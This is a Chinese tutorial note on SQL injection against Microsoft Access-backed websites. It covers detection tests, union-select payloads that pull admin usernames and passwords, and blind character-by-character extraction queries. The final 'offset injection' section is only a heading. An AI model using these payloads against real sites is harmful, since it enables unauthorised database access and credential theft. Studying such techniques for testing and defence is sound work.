天天看点

SQL注入之ACCESS注入笔记

文章目录

  • ​​Access数据库结构​​
  • ​​Access注入的基本流程​​
  • ​​判断注入(常见三种)​​
  • ​​常见的注入查询方式​​
  • ​​联合查询法 union select​​
  • ​​逐字猜解法​​
  • ​​偏移注入法​​

Access数据库结构

以.mdb后缀命名
一个文件就是一个库,和MySQL不同
打开方式用office或者第三方工具
表名—字段名—数据内容      

Access注入的基本流程

STEP1:判断注入是否存在

STEP2:猜解表名

STEP3:猜解字段数

STEP4:猜解字段名

STEP5:猜解内容长度

STEP6:猜解内容

判断注入(常见三种)

单引号报错,因为在sql语句中单引号,双引号,小括号都是成对存在的,若在后面加上这句话后,页面出错并且没有被服务器过滤则可能有注入点

逻辑型 And 1=1 and 1=2,

比如原本的sql语句​​

​select * from user where id=1​

​​是一个true条件,拼接上​

​select * from user where id=1 and 1=1​

​​也是true,如果​

​select * from user where id=1 and 1=2​

​​这个false的语句成功执行并返回了错误的界面,则很有可能是有注入点

变量做运算 – 减号:

​​

​select * from user where id=105-1​

​​与​

​select * from user where id=104​

​返回相同的页面,则说明可能有注入点

常见的注入查询方式

联合查询法 union select

and 1=1 and 1=2 ——判断注入

order by 22 ——猜有多少列(22正确,23错误,则为22个)

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin ——猜表名并记录回显位(报错说明表名不存在,将admin换成别的继续猜)

假设回显位置为3和15

我们把第三位换为猜测的列名:

​​

​union select 1,2,id,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin​

​​ 发现会有回显说明则猜测为正确

​union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin​

​ ——猜列名

又假设最后有了admin和password列名

​union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin​

​ 就能得到一条用户关键信息的记录

逐字猜解法

and 1=1 and 1=2 ——判断注入

and exists (select * from admin) ——猜表名

and exists (select user_name from admin) ——猜列名

查数据:1.确定长度 2.确定asc数据(asc编码)

and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)

and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)

偏移注入法